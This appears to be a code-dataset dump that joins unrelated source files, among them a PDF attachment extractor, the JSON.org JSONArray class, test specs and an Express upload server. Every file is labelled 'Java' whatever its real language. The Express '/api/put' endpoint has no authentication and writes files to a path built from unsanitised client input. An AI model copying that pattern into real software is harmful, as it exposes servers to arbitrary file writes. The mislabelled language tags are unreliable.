attdata = TET_pcos_get_stream(tet, doc, &attlength, "",
"pages[%d]/Annots[%d]/FS/EF/F", page, annot);
(void) process_document(outfp, 0,
attname, attdata, attlength);
}
}
}
}
TET_close_document(tet, doc);
/* If there was no PVF file deleting it won't do any harm */
TET_delete_pvf(tet, pvfname, 0);
}
TET_CATCH (tet)
{
fprintf(stderr,
"Error %d in %s() (source: attachment '%s'): %s\n",
TET_get_errnum(tet), TET_get_apiname(tet),
realname, TET_get_errmsg(tet));
}
TET_delete(tet);
return(0);
}
int main(int argc, char **argv)
{
FILE *outfp;
int ret = 0;
if (argc != 3)
{
fprintf(stderr, "usage: %s <infilename> <outfilename>\n", argv[0]);
return(2);
}
if ((outfp = fopen(argv[2], "w")) == NULL)
{
fprintf(stderr, "Error: couldn't open output file '%s'\n", argv[2]);
return(3);
}
ret = process_document(outfp, argv[1], argv[1], 0, 0);
fclose(outfp);
return ret;
}
| Java |
# -*- coding: utf-8 -*-
require 'spec_helper'
describe RailwayCompany do
describe :import do
let(:file_path) do
tempfile = Tempfile.new('railway_companies.csv')
tempfile << <<EOS
company_cd,rr_cd,company_name,company_name_k,company_name_h,company_name_r,company_url,company_type,e_status,e_sort
1,11,JR北海道,ジェイアールホッカイドウ,北海道旅客鉄道株式会社,JR北海道,http://www.jrhokkaido.co.jp/,1,0,1
2,11,JR東日本,ジェイアールヒガシニホン,東日本旅客鉄道株式会社,JR東日本,http://www.jreast.co.jp/,1,0,2
3,11,JR東海,ジェイアールトウカイ,東海旅客鉄道株式会社,JR東海,http://jr-central.co.jp/,1,0,3
4,11,JR西日本,ジェイアールニシニホン,西日本旅客鉄道株式会社,JR西日本,http://www.westjr.co.jp/,1,1,4
5,11,JR四国,ジェイアールシコク,四国旅客鉄道株式会社,JR四国,http://www.jr-shikoku.co.jp/,1,2,5
6,11,JR九州,ジェイアールキュウシュウ,九州旅客鉄道株式会社,JR九州,http://www.jrkyushu.co.jp/,1,2,6
EOS
tempfile.close
return tempfile.path
end
before do
RailwayCompany.import(file_path)
end
describe :imported_count do
subject { RailwayCompany.pluck(:id) }
it { should match_array [1, 2, 3] }
end
describe :first_company do
subject { RailwayCompany.find(1) }
its(:name) { should eq 'JR北海道' }
its(:railway_id) { should eq 11 }
its(:kana_name) { should eq 'ジェイアールホッカイドウ' }
its(:official_name) { should eq '北海道旅客鉄道株式会社' }
its(:abbreviated_name) { should eq 'JR北海道' }
its(:url) { should eq 'http://www.jrhokkaido.co.jp/' }
its(:company_type) { should eq 1 }
its(:sort) { should eq 1 }
end
end
end
| Java |
<?php
/**
* PHPSpec
*
* LICENSE
*
* This file is subject to the GNU Lesser General Public License Version 3
* that is bundled with this package in the file LICENSE.
* It is also available through the world-wide-web at this URL:
* http://www.gnu.org/licenses/lgpl-3.0.txt
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@phpspec.net so we can send you a copy immediately.
*
* @category PHPSpec
* @package PHPSpec
* @copyright Copyright (c) 2007-2009 Pádraic Brady, Travis Swicegood
* @copyright Copyright (c) 2010-2012 Pádraic Brady, Travis Swicegood,
* Marcello Duarte
* @license http://www.gnu.org/licenses/lgpl-3.0.txt GNU Lesser General Public Licence Version 3
*/
namespace PHPSpec\Runner\Formatter;
use \PHPSpec\Runner\Reporter;
/**
* @category PHPSpec
* @package PHPSpec
* @copyright Copyright (c) 2007-2009 Pádraic Brady, Travis Swicegood
* @copyright Copyright (c) 2010-2012 Pádraic Brady, Travis Swicegood,
* Marcello Duarte
* @license http://www.gnu.org/licenses/lgpl-3.0.txt GNU Lesser General Public Licence Version 3
*/
class Factory
{
/**
* Available formatters
*
* @var array
*/
protected $_formatters = array(
'p' => 'Progress',
'd' => 'Documentation',
'h' => 'Html',
'j' => 'Junit'
);
/**
* Creates a formatter class, looks for built in and returns custom one if
* one is not found
*
* @param string $formatter
* @param \PHPSpec\Runner\Reporter $reporter
* @return \PHPSpec\Runner\Formatter
*/
public function create($formatter, Reporter $reporter)
{
if (in_array($formatter, array_keys($this->_formatters)) ||
in_array(ucfirst($formatter), array_values($this->_formatters))) {
$formatter = $this->_formatters[strtolower($formatter[0])];
$formatterClass = '\PHPSpec\Runner\Formatter\\' . $formatter;
return new $formatterClass($reporter);
}
return new $formatter;
}
} | Java |
package framework.org.json;
/*
Copyright (c) 2002 JSON.org
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
The Software shall be used for Good, not Evil.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
import java.io.IOException;
import java.io.StringWriter;
import java.io.Writer;
import java.lang.reflect.Array;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.Map;
/**
* A JSONArray is an ordered sequence of values. Its external text form is a
* string wrapped in square brackets with commas separating the values. The
* internal form is an object having <code>get</code> and <code>opt</code>
* methods for accessing the values by index, and <code>put</code> methods for
* adding or replacing values. The values can be any of these types:
* <code>Boolean</code>, <code>JSONArray</code>, <code>JSONObject</code>,
* <code>Number</code>, <code>String</code>, or the
* <code>JSONObject.NULL object</code>.
* <p>
* The constructor can convert a JSON text into a Java object. The
* <code>toString</code> method converts to JSON text.
* <p>
* A <code>get</code> method returns a value if one can be found, and throws an
* exception if one cannot be found. An <code>opt</code> method returns a
* default value instead of throwing an exception, and so is useful for
* obtaining optional values.
* <p>
* The generic <code>get()</code> and <code>opt()</code> methods return an
* object which you can cast or query for type. There are also typed
* <code>get</code> and <code>opt</code> methods that do type checking and type
* coercion for you.
* <p>
* The texts produced by the <code>toString</code> methods strictly conform to
* JSON syntax rules. The constructors are more forgiving in the texts they will
* accept:
* <ul>
* <li>An extra <code>,</code> <small>(comma)</small> may appear just
* before the closing bracket.</li>
* <li>The <code>null</code> value will be inserted when there is <code>,</code>
* <small>(comma)</small> elision.</li>
* <li>Strings may be quoted with <code>'</code> <small>(single
* quote)</small>.</li>
* <li>Strings do not need to be quoted at all if they do not begin with a quote
* or single quote, and if they do not contain leading or trailing spaces, and
* if they do not contain any of these characters:
* <code>{ } [ ] / \ : , #</code> and if they do not look like numbers and
* if they are not the reserved words <code>true</code>, <code>false</code>, or
* <code>null</code>.</li>
* </ul>
*
* @author JSON.org
* @version 2014-05-03
*/
public class JSONArray {
/**
* The arrayList where the JSONArray's properties are kept.
*/
private final ArrayList<Object> myArrayList;
/**
* Construct an empty JSONArray.
*/
public JSONArray() {
this.myArrayList = new ArrayList<Object>();
}
/**
* Construct a JSONArray from a JSONTokener.
*
* @param x
* A JSONTokener
* @throws JSONException
* If there is a syntax error.
*/
public JSONArray(JSONTokener x) throws JSONException {
this();
if (x.nextClean() != '[') {
throw x.syntaxError("A JSONArray text must start with '['");
}
if (x.nextClean() != ']') {
x.back();
for (;;) {
if (x.nextClean() == ',') {
x.back();
this.myArrayList.add(JSONObject.NULL);
} else {
x.back();
this.myArrayList.add(x.nextValue());
}
switch (x.nextClean()) {
case ',':
if (x.nextClean() == ']') {
return;
}
x.back();
break;
case ']':
return;
default:
throw x.syntaxError("Expected a ',' or ']'");
}
}
}
}
/**
* Construct a JSONArray from a source JSON text.
*
* @param source
* A string that begins with <code>[</code> <small>(left
* bracket)</small> and ends with <code>]</code>
* <small>(right bracket)</small>.
* @throws JSONException
* If there is a syntax error.
*/
public JSONArray(String source) throws JSONException {
this(new JSONTokener(source));
}
/**
* Construct a JSONArray from a Collection.
*
* @param collection
* A Collection.
*/
public JSONArray(Collection<Object> collection) {
this.myArrayList = new ArrayList<Object>();
if (collection != null) {
Iterator<Object> iter = collection.iterator();
while (iter.hasNext()) {
this.myArrayList.add(JSONObject.wrap(iter.next()));
}
}
}
/**
* Construct a JSONArray from an array
*
* @throws JSONException
* If not an array.
*/
public JSONArray(Object array) throws JSONException {
this();
if (array.getClass().isArray()) {
int length = Array.getLength(array);
for (int i = 0; i < length; i += 1) {
this.put(JSONObject.wrap(Array.get(array, i)));
}
} else {
throw new JSONException(
"JSONArray initial value should be a string or collection or array.");
}
}
/**
* Get the object value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return An object value.
* @throws JSONException
* If there is no value for the index.
*/
public Object get(int index) throws JSONException {
Object object = this.opt(index);
if (object == null) {
throw new JSONException("JSONArray[" + index + "] not found.");
}
return object;
}
/**
* Get the boolean value associated with an index. The string values "true"
* and "false" are converted to boolean.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The truth.
* @throws JSONException
* If there is no value for the index or if the value is not
* convertible to boolean.
*/
public boolean getBoolean(int index) throws JSONException {
Object object = this.get(index);
if (object.equals(Boolean.FALSE)
|| (object instanceof String && ((String) object)
.equalsIgnoreCase("false"))) {
return false;
} else if (object.equals(Boolean.TRUE)
|| (object instanceof String && ((String) object)
.equalsIgnoreCase("true"))) {
return true;
}
throw new JSONException("JSONArray[" + index + "] is not a boolean.");
}
/**
* Get the double value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
* @throws JSONException
* If the key is not found or if the value cannot be converted
* to a number.
*/
public double getDouble(int index) throws JSONException {
Object object = this.get(index);
try {
return object instanceof Number ? ((Number) object).doubleValue()
: Double.parseDouble((String) object);
} catch (Exception e) {
throw new JSONException("JSONArray[" + index + "] is not a number.");
}
}
/**
* Get the int value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
* @throws JSONException
* If the key is not found or if the value is not a number.
*/
public int getInt(int index) throws JSONException {
Object object = this.get(index);
try {
return object instanceof Number ? ((Number) object).intValue()
: Integer.parseInt((String) object);
} catch (Exception e) {
throw new JSONException("JSONArray[" + index + "] is not a number.");
}
}
/**
* Get the JSONArray associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A JSONArray value.
* @throws JSONException
* If there is no value for the index. or if the value is not a
* JSONArray
*/
public JSONArray getJSONArray(int index) throws JSONException {
Object object = this.get(index);
if (object instanceof JSONArray) {
return (JSONArray) object;
}
throw new JSONException("JSONArray[" + index + "] is not a JSONArray.");
}
/**
* Get the JSONObject associated with an index.
*
* @param index
* subscript
* @return A JSONObject value.
* @throws JSONException
* If there is no value for the index or if the value is not a
* JSONObject
*/
public JSONObject getJSONObject(int index) throws JSONException {
Object object = this.get(index);
if (object instanceof JSONObject) {
return (JSONObject) object;
}
throw new JSONException("JSONArray[" + index + "] is not a JSONObject.");
}
/**
* Get the long value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
* @throws JSONException
* If the key is not found or if the value cannot be converted
* to a number.
*/
public long getLong(int index) throws JSONException {
Object object = this.get(index);
try {
return object instanceof Number ? ((Number) object).longValue()
: Long.parseLong((String) object);
} catch (Exception e) {
throw new JSONException("JSONArray[" + index + "] is not a number.");
}
}
/**
* Get the string associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A string value.
* @throws JSONException
* If there is no string value for the index.
*/
public String getString(int index) throws JSONException {
Object object = this.get(index);
if (object instanceof String) {
return (String) object;
}
throw new JSONException("JSONArray[" + index + "] not a string.");
}
/**
* Determine if the value is null.
*
* @param index
* The index must be between 0 and length() - 1.
* @return true if the value at the index is null, or if there is no value.
*/
public boolean isNull(int index) {
return JSONObject.NULL.equals(this.opt(index));
}
/**
* Make a string from the contents of this JSONArray. The
* <code>separator</code> string is inserted between each element. Warning:
* This method assumes that the data structure is acyclical.
*
* @param separator
* A string that will be inserted between the elements.
* @return a string.
* @throws JSONException
* If the array contains an invalid number.
*/
public String join(String separator) throws JSONException {
int len = this.length();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < len; i += 1) {
if (i > 0) {
sb.append(separator);
}
sb.append(JSONObject.valueToString(this.myArrayList.get(i)));
}
return sb.toString();
}
/**
* Get the number of elements in the JSONArray, included nulls.
*
* @return The length (or size).
*/
public int length() {
return this.myArrayList.size();
}
/**
* Get the optional object value associated with an index.
*
* @param index
* The index must be between 0 and length() - 1.
* @return An object value, or null if there is no object at that index.
*/
public Object opt(int index) {
return (index < 0 || index >= this.length()) ? null : this.myArrayList
.get(index);
}
/**
* Get the optional boolean value associated with an index. It returns false
* if there is no value at that index, or if the value is not Boolean.TRUE
* or the String "true".
*
* @param index
* The index must be between 0 and length() - 1.
* @return The truth.
*/
public boolean optBoolean(int index) {
return this.optBoolean(index, false);
}
/**
* Get the optional boolean value associated with an index. It returns the
* defaultValue if there is no value at that index or if it is not a Boolean
* or the String "true" or "false" (case insensitive).
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* A boolean default.
* @return The truth.
*/
public boolean optBoolean(int index, boolean defaultValue) {
try {
return this.getBoolean(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional double value associated with an index. NaN is returned
* if there is no value for the index, or if the value is not a number and
* cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
*/
public double optDouble(int index) {
return this.optDouble(index, Double.NaN);
}
/**
* Get the optional double value associated with an index. The defaultValue
* is returned if there is no value for the index, or if the value is not a
* number and cannot be converted to a number.
*
* @param index
* subscript
* @param defaultValue
* The default value.
* @return The value.
*/
public double optDouble(int index, double defaultValue) {
try {
return this.getDouble(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional int value associated with an index. Zero is returned if
* there is no value for the index, or if the value is not a number and
* cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
*/
public int optInt(int index) {
return this.optInt(index, 0);
}
/**
* Get the optional int value associated with an index. The defaultValue is
* returned if there is no value for the index, or if the value is not a
* number and cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* The default value.
* @return The value.
*/
public int optInt(int index, int defaultValue) {
try {
return this.getInt(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional JSONArray associated with an index.
*
* @param index
* subscript
* @return A JSONArray value, or null if the index has no value, or if the
* value is not a JSONArray.
*/
public JSONArray optJSONArray(int index) {
Object o = this.opt(index);
return o instanceof JSONArray ? (JSONArray) o : null;
}
/**
* Get the optional JSONObject associated with an index. Null is returned if
* the key is not found, or null if the index has no value, or if the value
* is not a JSONObject.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A JSONObject value.
*/
public JSONObject optJSONObject(int index) {
Object o = this.opt(index);
return o instanceof JSONObject ? (JSONObject) o : null;
}
/**
* Get the optional long value associated with an index. Zero is returned if
* there is no value for the index, or if the value is not a number and
* cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @return The value.
*/
public long optLong(int index) {
return this.optLong(index, 0);
}
/**
* Get the optional long value associated with an index. The defaultValue is
* returned if there is no value for the index, or if the value is not a
* number and cannot be converted to a number.
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* The default value.
* @return The value.
*/
public long optLong(int index, long defaultValue) {
try {
return this.getLong(index);
} catch (Exception e) {
return defaultValue;
}
}
/**
* Get the optional string value associated with an index. It returns an
* empty string if there is no value at that index. If the value is not a
* string and is not null, then it is coverted to a string.
*
* @param index
* The index must be between 0 and length() - 1.
* @return A String value.
*/
public String optString(int index) {
return this.optString(index, "");
}
/**
* Get the optional string associated with an index. The defaultValue is
* returned if the key is not found.
*
* @param index
* The index must be between 0 and length() - 1.
* @param defaultValue
* The default value.
* @return A String value.
*/
public String optString(int index, String defaultValue) {
Object object = this.opt(index);
return JSONObject.NULL.equals(object) ? defaultValue : object
.toString();
}
/**
* Append a boolean value. This increases the array's length by one.
*
* @param value
* A boolean value.
* @return this.
*/
public JSONArray put(boolean value) {
this.put(value ? Boolean.TRUE : Boolean.FALSE);
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONArray which
* is produced from a Collection.
*
* @param value
* A Collection value.
* @return this.
*/
public JSONArray put(Collection<Object> value) {
this.put(new JSONArray(value));
return this;
}
/**
* Append a double value. This increases the array's length by one.
*
* @param value
* A double value.
* @throws JSONException
* if the value is not finite.
* @return this.
*/
public JSONArray put(double value) throws JSONException {
Double d = new Double(value);
JSONObject.testValidity(d);
this.put(d);
return this;
}
/**
* Append an int value. This increases the array's length by one.
*
* @param value
* An int value.
* @return this.
*/
public JSONArray put(int value) {
this.put(new Integer(value));
return this;
}
/**
* Append an long value. This increases the array's length by one.
*
* @param value
* A long value.
* @return this.
*/
public JSONArray put(long value) {
this.put(new Long(value));
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONObject which
* is produced from a Map.
*
* @param value
* A Map value.
* @return this.
*/
public JSONArray put(Map<String, Object> value) {
this.put(new JSONObject(value));
return this;
}
/**
* Append an object value. This increases the array's length by one.
*
* @param value
* An object value. The value should be a Boolean, Double,
* Integer, JSONArray, JSONObject, Long, or String, or the
* JSONObject.NULL object.
* @return this.
*/
public JSONArray put(Object value) {
this.myArrayList.add(value);
return this;
}
/**
* Put or replace a boolean value in the JSONArray. If the index is greater
* than the length of the JSONArray, then null elements will be added as
* necessary to pad it out.
*
* @param index
* The subscript.
* @param value
* A boolean value.
* @return this.
* @throws JSONException
* If the index is negative.
*/
public JSONArray put(int index, boolean value) throws JSONException {
this.put(index, value ? Boolean.TRUE : Boolean.FALSE);
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONArray which
* is produced from a Collection.
*
* @param index
* The subscript.
* @param value
* A Collection value.
* @return this.
* @throws JSONException
* If the index is negative or if the value is not finite.
*/
public JSONArray put(int index, Collection<Object> value) throws JSONException {
this.put(index, new JSONArray(value));
return this;
}
/**
* Put or replace a double value. If the index is greater than the length of
* the JSONArray, then null elements will be added as necessary to pad it
* out.
*
* @param index
* The subscript.
* @param value
* A double value.
* @return this.
* @throws JSONException
* If the index is negative or if the value is not finite.
*/
public JSONArray put(int index, double value) throws JSONException {
this.put(index, new Double(value));
return this;
}
/**
* Put or replace an int value. If the index is greater than the length of
* the JSONArray, then null elements will be added as necessary to pad it
* out.
*
* @param index
* The subscript.
* @param value
* An int value.
* @return this.
* @throws JSONException
* If the index is negative.
*/
public JSONArray put(int index, int value) throws JSONException {
this.put(index, new Integer(value));
return this;
}
/**
* Put or replace a long value. If the index is greater than the length of
* the JSONArray, then null elements will be added as necessary to pad it
* out.
*
* @param index
* The subscript.
* @param value
* A long value.
* @return this.
* @throws JSONException
* If the index is negative.
*/
public JSONArray put(int index, long value) throws JSONException {
this.put(index, new Long(value));
return this;
}
/**
* Put a value in the JSONArray, where the value will be a JSONObject that
* is produced from a Map.
*
* @param index
* The subscript.
* @param value
* The Map value.
* @return this.
* @throws JSONException
* If the index is negative or if the the value is an invalid
* number.
*/
public JSONArray put(int index, Map<String, Object> value) throws JSONException {
this.put(index, new JSONObject(value));
return this;
}
/**
* Put or replace an object value in the JSONArray. If the index is greater
* than the length of the JSONArray, then null elements will be added as
* necessary to pad it out.
*
* @param index
* The subscript.
* @param value
* The value to put into the array. The value should be a
* Boolean, Double, Integer, JSONArray, JSONObject, Long, or
* String, or the JSONObject.NULL object.
* @return this.
* @throws JSONException
* If the index is negative or if the the value is an invalid
* number.
*/
public JSONArray put(int index, Object value) throws JSONException {
JSONObject.testValidity(value);
if (index < 0) {
throw new JSONException("JSONArray[" + index + "] not found.");
}
if (index < this.length()) {
this.myArrayList.set(index, value);
} else {
while (index != this.length()) {
this.put(JSONObject.NULL);
}
this.put(value);
}
return this;
}
/**
* Remove an index and close the hole.
*
* @param index
* The index of the element to be removed.
* @return The value that was associated with the index, or null if there
* was no value.
*/
public Object remove(int index) {
return index >= 0 && index < this.length()
? this.myArrayList.remove(index)
: null;
}
/**
* Determine if two JSONArrays are similar.
* They must contain similar sequences.
*
* @param other The other JSONArray
* @return true if they are equal
*/
public boolean similar(Object other) {
if (!(other instanceof JSONArray)) {
return false;
}
int len = this.length();
if (len != ((JSONArray)other).length()) {
return false;
}
for (int i = 0; i < len; i += 1) {
Object valueThis = this.get(i);
Object valueOther = ((JSONArray)other).get(i);
if (valueThis instanceof JSONObject) {
if (!((JSONObject)valueThis).similar(valueOther)) {
return false;
}
} else if (valueThis instanceof JSONArray) {
if (!((JSONArray)valueThis).similar(valueOther)) {
return false;
}
} else if (!valueThis.equals(valueOther)) {
return false;
}
}
return true;
}
/**
* Produce a JSONObject by combining a JSONArray of names with the values of
* this JSONArray.
*
* @param names
* A JSONArray containing a list of key strings. These will be
* paired with the values.
* @return A JSONObject, or null if there are no names or if this JSONArray
* has no values.
* @throws JSONException
* If any of the names are null.
*/
public JSONObject toJSONObject(JSONArray names) throws JSONException {
if (names == null || names.length() == 0 || this.length() == 0) {
return null;
}
JSONObject jo = new JSONObject();
for (int i = 0; i < names.length(); i += 1) {
jo.put(names.getString(i), this.opt(i));
}
return jo;
}
/**
* Make a JSON text of this JSONArray. For compactness, no unnecessary
* whitespace is added. If it is not possible to produce a syntactically
* correct JSON text then null will be returned instead. This could occur if
* the array contains an invalid number.
* <p>
* Warning: This method assumes that the data structure is acyclical.
*
* @return a printable, displayable, transmittable representation of the
* array.
*/
public String toString() {
try {
return this.toString(0);
} catch (Exception e) {
return null;
}
}
/**
* Make a prettyprinted JSON text of this JSONArray. Warning: This method
* assumes that the data structure is acyclical.
*
* @param indentFactor
* The number of spaces to add to each level of indentation.
* @return a printable, displayable, transmittable representation of the
* object, beginning with <code>[</code> <small>(left
* bracket)</small> and ending with <code>]</code>
* <small>(right bracket)</small>.
* @throws JSONException
*/
public String toString(int indentFactor) throws JSONException {
StringWriter sw = new StringWriter();
synchronized (sw.getBuffer()) {
return this.write(sw, indentFactor, 0).toString();
}
}
/**
* Write the contents of the JSONArray as JSON text to a writer. For
* compactness, no whitespace is added.
* <p>
* Warning: This method assumes that the data structure is acyclical.
*
* @return The writer.
* @throws JSONException
*/
public Writer write(Writer writer) throws JSONException {
return this.write(writer, 0, 0);
}
/**
* Write the contents of the JSONArray as JSON text to a writer. For
* compactness, no whitespace is added.
* <p>
* Warning: This method assumes that the data structure is acyclical.
*
* @param indentFactor
* The number of spaces to add to each level of indentation.
* @param indent
* The indention of the top level.
* @return The writer.
* @throws JSONException
*/
Writer write(Writer writer, int indentFactor, int indent)
throws JSONException {
try {
boolean commanate = false;
int length = this.length();
writer.write('[');
if (length == 1) {
JSONObject.writeValue(writer, this.myArrayList.get(0),
indentFactor, indent);
} else if (length != 0) {
final int newindent = indent + indentFactor;
for (int i = 0; i < length; i += 1) {
if (commanate) {
writer.write(',');
}
if (indentFactor > 0) {
writer.write('\n');
}
JSONObject.indent(writer, newindent);
JSONObject.writeValue(writer, this.myArrayList.get(i),
indentFactor, newindent);
commanate = true;
}
if (indentFactor > 0) {
writer.write('\n');
}
JSONObject.indent(writer, indent);
}
writer.write(']');
return writer;
} catch (IOException e) {
throw new JSONException(e);
}
}
}
| Java |
#include "abstract_serializable.h"
using namespace json;
json::__abstract_serializable__::__abstract_serializable__() {}
std::map<std::string, std::function<json::__abstract_serializable__*()> > json::__abstract_serializable__::dictionary;
| Java |
module CalculableAttrs
VERSION = "0.0.15"
end
| Java |
# -*- coding: utf-8 -*-
import pack_command
import pack_command_python
import timeit
import cProfile
import pstats
import pycallgraph
def format_time(seconds):
v = seconds
if v * 1000 * 1000 * 1000 < 1000:
scale = u'ns'
v = int(round(v*1000*1000*1000))
elif v * 1000 * 1000 < 1000:
scale = u'μs'
v = int(round(v*1000*1000))
elif v * 1000 < 1000:
scale = u'ms'
v = round(v*1000, 4)
else:
scale = u'sec'
v = int(v)
return u'{} {}'.format(v, scale)
# profiler size
number = 100000
sample = 7
# profiler type
profile = False
graph = False
timer = True
def runit():
pack_command.pack_command("ZADD", "foo", 1369198341, 10000)
def runitp():
pack_command_python.pack_command("ZADD", "foo", 1369198341, 10000)
if profile:
pr = cProfile.Profile()
pr.enable()
if graph:
pycallgraph.start_trace()
if timer:
for name, t in (("Python", runitp), ("cython", runit)):
res = timeit.Timer(t).repeat(sample, number)
min_run = min(res)
per_loop = min_run/number
print u'{}'.format(name)
print u'{} total run'.format(format_time(min_run))
print u'{} per/loop'.format(format_time(per_loop))
#print u'{} per/friend'.format(format_time(per_loop/friends_cnt))
else:
for j in xrange(number):
runit()
if graph:
pycallgraph.make_dot_graph('example.png')
if profile:
pr.disable()
ps = pstats.Stats(pr)
sort_by = 'cumulative'
ps.strip_dirs().sort_stats(sort_by).print_stats(20)
| Java |
// --------------------------------------------------------------------------------------------------------------------
// <copyright file="SerializationJsonModule.cs" company="Catel development team">
// Copyright (c) 2008 - 2015 Catel development team. All rights reserved.
// </copyright>
// --------------------------------------------------------------------------------------------------------------------
namespace Catel
{
using IoC;
using Runtime.Serialization.Json;
/// <summary>
/// Core module which allows the registration of default services in the service locator.
/// </summary>
public class SerializationJsonModule : IServiceLocatorInitializer
{
#region Methods
/// <summary>
/// Initializes the specified service locator.
/// </summary>
/// <param name="serviceLocator">The service locator.</param>
public void Initialize(IServiceLocator serviceLocator)
{
Argument.IsNotNull(() => serviceLocator);
serviceLocator.RegisterType<IJsonSerializer, JsonSerializer>();
}
#endregion
}
} | Java |
var fs = require('fs');
var mysql = require('mysql');
var qs = require('querystring');
var express = require('express');
var config = JSON.parse(fs.readFileSync(__dirname+'/config.json', 'UTF-8'));
// -----------------------------------------------------------------------------
// Keep a persistant connection to the database (reconnect after an error or disconnect)
// -----------------------------------------------------------------------------
if (typeof config.databaseConnection == 'undefined' || typeof config.databaseConnection.retryMinTimeout == 'undefined')
config.databaseConnection = {retryMinTimeout: 2000, retryMaxTimeout: 60000};
var connection, retryTimeout = config.databaseConnection.retryMinTimeout;
function persistantConnection(){
connection = mysql.createConnection(config.database);
connection.connect(
function (err){
if (err){
console.log('Error connecting to database: '+err.code);
setTimeout(persistantConnection, retryTimeout);
console.log('Retrying in '+(retryTimeout / 1000)+' seconds');
if (retryTimeout < config.databaseConnection.retryMaxTimeout)
retryTimeout += 1000;
}
else{
retryTimeout = config.databaseConnection.retryMinTimeout;
console.log('Connected to database');
}
});
connection.on('error',
function (err){
console.log('Database error: '+err.code);
if (err.code === 'PROTOCOL_CONNECTION_LOST')
persistantConnection();
});
}
//persistantConnection();
var app = express();
// -----------------------------------------------------------------------------
// Deliver the base template of SPA
// -----------------------------------------------------------------------------
app.get('/', function (req, res){
res.send(loadTemplatePart('base.html', req));
});
app.get('/images/:id', function (req, res){
res.send(dataStore.images);
});
// -----------------------------------------------------------------------------
// Deliver static assets
// -----------------------------------------------------------------------------
app.use('/static/', express.static('static'));
// ==================================================
// Below this point are URIs that are accesible from outside, in REST API calls
// ==================================================
app.use(function(req, res, next){
res.header("Access-Control-Allow-Origin", "*");
res.header("Access-Control-Allow-Headers", "Origin, X-Requested-With, Content-Type, Accept");
next();
});
// -----------------------------------------------------------------------------
// API Endpoint to receive data
// -----------------------------------------------------------------------------
var dataStore = {};
app.post('/api/put', function (req, res){
// Needs to authenticate the RPi module
//
handlePost(req, function(data){
//console.log(data);
for (var i = 0; i < 4; i++){
//var img = Buffer.from(, 'base64');
fs.writeFile('./static/images/'+data.id+'/'+i+'.png',
'data:image/png;base64,'+data.images[i],
function(err){
if (err)
console.log(err);
}
);
}
//
//dataStore[data.id] = data;
dataStore = data;
res.send('ok');
});
});
app.listen(config.listenPort, function (){
console.log('RainCatcher server is listening on port '+config.listenPort);
});
// --------------------------------------------------------------------------
// Handler for multipart POST request/response body
function handlePost(req, callback){
var body = '';
req.on('data', function (data){
body += data;
if (body.length > 1e8)
req.connection.destroy();
});
req.on('end', function (data){
var post = body;
try{
post = JSON.parse(post);
}
catch(e){
try{
post = qs.parse(post);
}
catch(e){}
}
callback(post);
});
}
function loadTemplatePart(template, req){
try{
return fs.readFileSync('./templates/'+template, 'utf8');
}
catch(e){
return '<h2>Page Not Found</h2>';
}
}
Date.prototype.sqlFormatted = function() {
var yyyy = this.getFullYear().toString();
var mm = (this.getMonth()+1).toString();
var dd = this.getDate().toString();
return yyyy +'-'+ (mm[1]?mm:"0"+mm[0]) +'-'+ (dd[1]?dd:"0"+dd[0]);
};
function isset(obj){
return typeof obj != 'undefined';
}
| Java |
module ElectricSheep
class Config
include Queue
attr_reader :hosts
attr_accessor :encryption_options, :decryption_options, :ssh_options
def initialize
@hosts = Metadata::Hosts.new
end
end
end
| Java |
import SuccessPage from '../index';
import expect from 'expect';
import { shallow } from 'enzyme';
import React from 'react';
describe('<SuccessPage />', () => {
});
| Java |
/**
* System configuration for Angular 2 samples
* Adjust as necessary for your application needs.
*/
(function (global) {
System.config({
paths: {
// paths serve as alias
'npm:': 'lib/'
},
// map tells the System loader where to look for things
map: {
// our app is within the app folder
app: 'app',
//Testing libraries
//'@angular/core/testing': 'npm:@angular/core/bundles/core-testing.umd.js',
//'@angular/common/testing': 'npm:@angular/common/bundles/common-testing.umd.js',
//'@angular/compiler/testing': 'npm:@angular/compiler/bundles/compiler-testing.umd.js',
//'@angular/platform-browser/testing': 'npm:@angular/platform-browser/bundles/platform-browser-testing.umd.js',
//'@angular/platform-browser-dynamic/testing': 'npm:@angular/platform-browser-dynamic/bundles/platform-browser-dynamic-testing.umd.js',
